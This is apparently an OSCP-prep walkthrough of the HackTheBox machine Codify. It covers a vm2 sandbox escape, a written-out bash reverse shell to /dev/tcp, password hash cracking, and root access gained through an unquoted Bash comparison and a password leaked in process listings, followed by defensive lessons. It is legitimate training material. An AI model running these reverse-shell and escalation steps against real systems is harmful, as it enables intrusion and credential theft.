OSCP Prep #21 HTB Write-Up Codify

1. Target Overview
Machine Name: Codify
Platform: HackTheBox
Operating System: Linux
Target IP: 10.129.15.49
Objective: Gain user and root access
Codify was a well-rounded machine that started off with a fairly straightforward web application exploit that quickly led to remote code execution. While the initial foothold came easily, the real value of this box came from the privilege escalation phase, which revolved around a subtle but very realistic Bash scripting mistake involving unquoted variables.
Tools Used
RustScan
Nmap
FFUF
Searchsploit
Netcat
John the Ripper
Pspy
Python HTTP Server
Bash
2. Enumeration
Nmap Scan
rustscan -a 10.129.15.49 -b 7000
As always, I started with a port scan to understand the attack surface. The results showed three open ports: SSH on 22, an Apache web server on port 80, and another web service running on port 3000 backed by Node.js Express.
One thing that immediately stood out was a redirect to http://codify.htb. That told me I needed to add the domain to my /etc/hosts file before continuing. From there, I made a conscious decision to focus on the web applications first since they typically provide the largest attack surface, while keeping SSH in mind in case credentials surfaced later.
Web Enumeration
I began by checking for additional subdomains since the application was already using a virtual host.
ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20
This didn’t return anything useful, so I moved on to directory brute forcing:
ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt
While this was running in the background, I manually browsed the application on port 80. The main page presented a Node.js code execution interface where users could input and run JavaScript. That immediately stood out—any system that executes user input, even in a “sandbox,” deserves a closer look.
Clicking into the /about page turned out to be the key step here. It revealed that the application used the vm2 library version 3.9.16 for sandboxing. That was a huge find and shifted my focus toward researching that specific component.
3. Exploitation
Web Application Analysis
With the vm2 version disclosed, I used searchsploit to check for known vulnerabilities:
searchsploit vm2
searchsploit -x 51898.c
I found a sandbox escape affecting the exact version in use. The exploit abused allowed functionality within vm2 to break out of the sandbox and execute system commands.
To verify execution, I tested a simple command:
pwd
The output returned /home/svc, confirming that I had achieved remote code execution.
Foothold
Once I confirmed RCE, I moved to establish a reverse shell. I hosted a payload on my machine:
echo 'bash -i >& /dev/tcp/10.10.15.205/7777 0>&1' > shell.sh
python3 -m http.server 80
Then set up a listener:
nc -nvlp 7777
After triggering the payload through the web interface,
I received a shell as the svc user. I upgraded it immediately to make it interactive:
python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
4. Privilege Escalation
Initial Enumeration
I began with basic checks:
whoami
sudo -l
There were no sudo privileges for svc, so I looked for other users on the system:
grep "sh$" /etc/passwd
I identified joshua and root, which suggested that lateral movement would likely be required.
Finding Credentials
Following my checklist, I explored the web directory:
cd /var/www/
I searched for files that might contain credentials:
find . -type f -name "*.db" 2>/dev/null
find . -type f -name "*conf*" 2>/dev/null
This led me to /var/www/contact/tickets.db, which contained a bcrypt hash for the joshua user.
I cracked the hash using John:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
The password was spongebob1. I tested it against SSH:
ssh joshua@codify.htb
The login succeeded, confirming password reuse.
Privilege Escalation Vector
Once logged in as joshua, I checked sudo permissions:
sudo -l
I discovered that I could run /opt/scripts/mysql-backup.sh as root. This immediately stood out as a potential escalation path, so I examined the script closely.
Root Exploit
The script contained a flawed password check:
if [[ \(DB_PASS == \)USER_PASS ]]
Because the variables were not quoted, Bash interpreted the comparison as pattern matching rather than a strict equality check. This allowed me to bypass authentication by entering:
*
Additionally, the script passed the root password to mysqldump via a command-line argument, exposing it in running processes. To capture this, I used pspy:
wget http://10.10.15.205/pspy
chmod +x pspy
./pspy
In another session, I executed the script:
sudo /opt/scripts/mysql-backup.sh
After entering *, the script ran successfully. Monitoring pspy, I observed the root password in plaintext within the process arguments.
I then switched to root:
su root
The system was fully compromised.
5. Lessons Learned
1. Version Disclosure Enables Targeted Exploitation
Exposing the exact version of vm2 made it trivial to identify a working exploit. This reinforced how dangerous version disclosure can be in real environments.
2. Third-Party Libraries Are Part of the Attack Surface
The vulnerability wasn’t in the application itself, but in a dependency. This highlights the importance of auditing and updating all components, not just core code.
3. Unquoted Variables in Bash Can Break Security Logic
Failing to quote variables led to pattern matching instead of strict comparison, completely bypassing authentication.
4. Process Arguments Can Leak Sensitive Data
Passing the root password via command-line arguments exposed it to any user capable of monitoring processes, making privilege escalation trivial.
6. Defensive Insight
1. Avoid Exposing Internal Version Information
Applications should not disclose library versions, especially when those components are security-critical.
2. Keep Dependencies Patched and Updated
Outdated libraries—particularly sandboxing mechanisms—can completely undermine application security.
3. Always Quote Variables in Bash Scripts
"$VAR"
Proper quoting ensures comparisons behave as intended and prevents pattern-matching abuse.
4. Never Pass Credentials via Command-Line Arguments
Sensitive data should be handled securely through protected configurations or environment variables, not exposed in process listings.
Useful Commands
Port Scanning
rustscan -a 10.129.15.49 -b 7000
Subdomain Enumeration
ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20
Directory Brute Force
ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt
Exploit Lookup
searchsploit vm2
Hash Cracking
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Process Monitoring
./pspy





